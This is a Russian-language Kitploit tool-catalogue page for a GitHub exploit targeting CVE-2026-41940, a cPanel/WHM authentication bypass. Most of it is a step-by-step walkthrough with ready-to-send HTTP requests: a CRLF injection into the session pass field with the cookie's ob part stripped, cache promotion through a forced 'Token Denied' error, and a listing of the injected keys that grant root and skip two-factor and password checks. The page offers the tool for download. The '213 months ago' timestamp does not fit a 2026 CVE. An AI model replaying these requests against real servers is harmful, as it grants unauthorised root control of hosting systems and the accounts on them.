Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/kmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubkmaruthisrikar/cve-2026-41940-cpanel-auth-bypass-exploit

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

Эксплойт для CVE-2026-41940, обход аутентификации в cPanel/WHM, позволяющий неаутентифицированным злоумышленникам получить root-доступ через внедрение сессии и продвижение JSON-кэша.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
213 месяцев назадЕщё не проверено

CVE-2026-41940: Анализ обхода аутентификации cPanel/WHM

Обзор уязвимости

CVE-2026-41940 — это критическая уязвимость обхода аутентификации в cPanel и WHM, затрагивающая все поддерживаемые версии. Она позволяет неаутентифицированному злоумышленнику обойти аутентификацию и получить доступ уровня root (WHM) или уровня пользователя (cPanel).

Техническая первопричина

Уязвимость возникает из-за двух основных проблем в Cpanel/Session.pm:

  1. CRLF-инъекция в saveSession: Функция saveSession не выполняла надлежащую санитизацию входных данных перед записью в файл сессии на диске. В частности, она не удаляла символы новой строки (\n) из поля pass.
  2. Условный обход кодирования: Поле pass в файле сессии обычно шифруется с помощью секрета, уникального для каждой сессии (ob). Однако если cookie сессии не содержит часть ob (часть после запятой), кодирование пропускается, и значение pass записывается в открытом виде.

Процесс эксплуатации

Эксплуатация представляет собой многошаговый процесс:

1. Создание сессии до аутентификации

Отправьте неудачную попытку входа, чтобы инициировать создание файла сессии на диске.

root@kitploit:~
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=anything

Сервер отвечает cookie whostmgrsession, например, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....

2. Внедрение вредоносных ключей сессии

Отправьте ещё один запрос, используя cookie сессии, но удалите часть ob (запятую и всё, что после неё). В поле pass внедрите нужные ключи сессии с помощью символов новой строки.

root@kitploit:~
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded

user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149

Поскольку часть ob отсутствует, cpsrvd записывает значение pass без кодирования. Внедрённые символы новой строки приводят к тому, что последующие строки интерпретируются как отдельные пары «ключ-значение» в необработанном файле сессии.

3. Продвижение инъекции в JSON-кэш

cPanel использует JSON-кэш для сессий. Необработанная инъекция находится только в текстовом файле. Чтобы сделать её «активной», необходимо заставить cPanel повторно прочитать необработанный файл и обновить JSON-кэш. Это можно сделать, вызвав ошибку «Token Denied» на конечной точке, использующей Cpanel::Session::Modify.

root@kitploit:~
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

Отсутствующий токен безопасности в URL вызывает do_token_denied, который использует Cpanel::Session::Modify для обновления счётчика token_denied. Modify читает необработанный файл (в обход кэша), а затем записывает и необработанный файл, и JSON-кэш, фактически продвигая внедрённые ключи на верхний уровень JSON-кэша.

4. Доступ к защищённым конечным точкам

Теперь сессия полностью «аутентифицирована» с точки зрения cPanel. Ключ successful_internal_auth_with_timestamp обходит проверку /etc/shadow.

root@kitploit:~
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK

[TOKEN] можно получить из поля cp_security_token в сессии, которое часто возвращается в ответе «Token Denied», либо его можно найти, проанализировав поведение cookie сессии.

Ключевые внедрённые поля

  • tfa_verified=1: Обходит двухфакторную аутентификацию.
  • hasroot=1: Предоставляет привилегии root в WHM.
  • successful_internal_auth_with_timestamp=[TIMESTAMP]: Обходит фактическую проверку пароля в системном файле shadow.
  • user=root: Устанавливает пользователя сессии как root.
Скачать инструмент